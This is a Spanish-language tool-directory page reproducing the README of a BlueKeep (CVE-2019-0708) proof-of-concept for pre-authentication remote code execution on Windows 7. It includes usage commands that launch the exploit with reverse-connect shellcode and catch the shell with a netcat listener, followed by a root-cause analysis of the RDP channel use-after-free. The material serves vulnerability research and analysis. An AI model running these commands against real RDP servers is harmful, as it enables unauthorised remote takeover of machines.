Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-0708 — CVE-2019-0708 (BlueKeep) prueba de concepto que permite RCE pre-autenticación en Windows7 | Kitploit
Herramientas/GitHubGitHub/ricseclab/cve-2019-0708
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de Binarios
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) prueba de concepto que permite RCE pre-autenticación en Windows7

Ver Repositorio
1502352hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-0708 (BlueKeep) POC de RCE sin autenticación en Windows7

Ricerca Security, Inc.

Este repositorio demuestra el fallo de ejecución remota de código en los Servicios de Escritorio Remoto (RDS) de Windows.

Aquí hay un código POC y un informe técnico sobre la vulnerabilidad BlueKeep, que desarrollamos anteriormente.
NOTA: Nuestro objetivo es ayudar a los analistas a comprender mejor las vulnerabilidades críticas.

Cómo usar

Requisitos previos

Nuestro código de exploit está escrito en Python 3 y depende de la biblioteca PyRDP. Configurelo siguiendo la guía de instalación de PyRDP.

Uso

Actualmente nuestro exploit apunta y ha sido probado en Windows 7 SP 1 (6.1.7601) x64 en Virtual Box.

Si su computadora tiene la dirección IP 192.168.56.1 y ataca al servidor RDP en example.com:1234, entonces escriba

$ python exploit.py example.com -rp 1234 192.168.56.1

Si el script explota exitosamente el servidor, un shellcode de conexión inversa inicia una conexión TCP desde el servidor de vuelta a 192.168.56.1:4444. Por lo tanto, por ejemplo, debe esperar la conexión con netcat:

$ nc -v -l 4444

Si desea cambiar el número de puerto al que el servidor se conecta de vuelta, use la opción -bp:

$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

Informe

La Vulnerabilidad

En mayo de 2019, Microsoft reveló una vulnerabilidad crítica de ejecución remota de código CVE-2019-0708, en los Servicios de Escritorio Remoto (anteriormente conocidos como Servicios de Terminal). Esta vulnerabilidad es pre-autenticación — lo que significa que la vulnerabilidad es propagable, con el potencial de causar una interrupción generalizada. Un atacante puede explotar esta vulnerabilidad enviando mensajes del Protocolo de Escritorio Remoto (RDP) manipulados al servidor objetivo y obtener ejecución de código arbitrario con privilegios administrativos.

Canal Virtual RDP

Los Servicios de Escritorio Remoto de Microsoft proporcionan a un usuario sesiones interactivas de Windows de forma remota. Presentan el escritorio de Windows del usuario comunicándose con el cliente mediante el Protocolo de Escritorio Remoto (RDP) a través del puerto 3389/TCP.

El protocolo RDP tiene la capacidad de ser mejorado mediante extensiones de software llamadas Canal Virtual. Ejemplos de mejoras funcionales podrían incluir: soporte para tipos especiales de hardware, audio u otras adiciones a la funcionalidad principal.
Estos canales incluyen canales estándar proporcionados por Microsoft como "rdpdr" (Redirección), "rdpsnd" (Sonido), "cliprdr" (Compartir portapapeles), etc. Los usuarios pueden escribir módulos usando la API de RDP para admitir otros canales. Además de los canales anteriores, Microsoft crea dos canales por defecto: MS_T120 (usado para el propio RDP) y CTXTW (usado en Citrix ICA).

La vulnerabilidad está relacionada con el proceso de enlace de canales virtuales de MS_T120 a través de la solicitud "MCS Connect Initial and GCC Create". Hay más información de fondo disponible en ZDI.
Como se mencionó en el artículo de ZDI, todos los canales virtuales solicitados por el cliente se crean usando termdd!IcaCreateChannel(). Luego, los punteros a estas estructuras de canal se almacenan en una tabla, que llamaremos ChannelPointerTable.
Cuando se establece una conexión con el cliente RDP, todos los canales virtuales estáticos, incluido MS_T120, son inicializados internamente por el servidor RDP de Windows y apuntados por ChannelPointerTable.

La consulta para crear MS_T120 y CTXTW es emitida por rdpcore!WDLIB_IcaVirtualQueryBindings().

Fig. 1: Generación de la consulta para crear MS_T120 y CTXTW

Después de que la consulta se pasa a termdd!IcaBindVirtualChannels(), se crea una estructura de canal virtual en termdd!IcaAllocateChannel() y se registra en ChannelPointerTable.

Fig. 2: Creación y registro de la estructura de canal virtual

La rutina de función termdd!IcaBindChannel() es responsable de registrar una estructura de canal virtual en ChannelPointerTable. IcaBindChannel
Aquí está el seguimiento de pila en Windows 7 x64, cuando termdd!IcaBindChannel() es llamada con el primer argumento "MS_T120" y el tercer argumento 0x1f.

Fig. 3: MS_T1209 está enlazado al slot 0x1f durante la solicitud inicial

Entonces ChannelPointerTable se ve de la siguiente manera. Nótese que MS_T120 siempre está presente en el Slot 0x1F.

Fig. 4: ChannelPointerTable durante la solicitud inicial

Análisis de la causa raíz

Existe una vulnerabilidad de use-after-free en el controlador del kernel de RDP de Windows, termdd.sys.
Un problema es que cuando el cliente especifica un canal con el nombre MS_T120\x00 durante "MCS Connect Initial and GCC Create", termdd!IcaCreateChannel() llama a termdd!IcaFindChannelByName() y devuelve la estructura existente del canal MS_T120 en el Slot 0x1F. Luego, esta estructura de canal se considera como una nueva entrada de canal virtual y se almacena en otro Slot (en este ejemplo, Slot 2) durante "MCS Attach User Request".
Aquí está el seguimiento de pila en Windows 7 x64, cuando termdd!IcaBindChannel() es llamada con el primer argumento "MS_T120" y el tercer argumento 0x2.

Fig. 5: MS_T1209 también está enlazado al slot 0x2 durante la solicitud de adjuntar

En otras palabras, la estructura del canal MS_T120 es apuntada por dos slots 0x1F y 0x2.

Fig. 6: ChannelPointerTable durante la solicitud de adjuntar

Descargar herramienta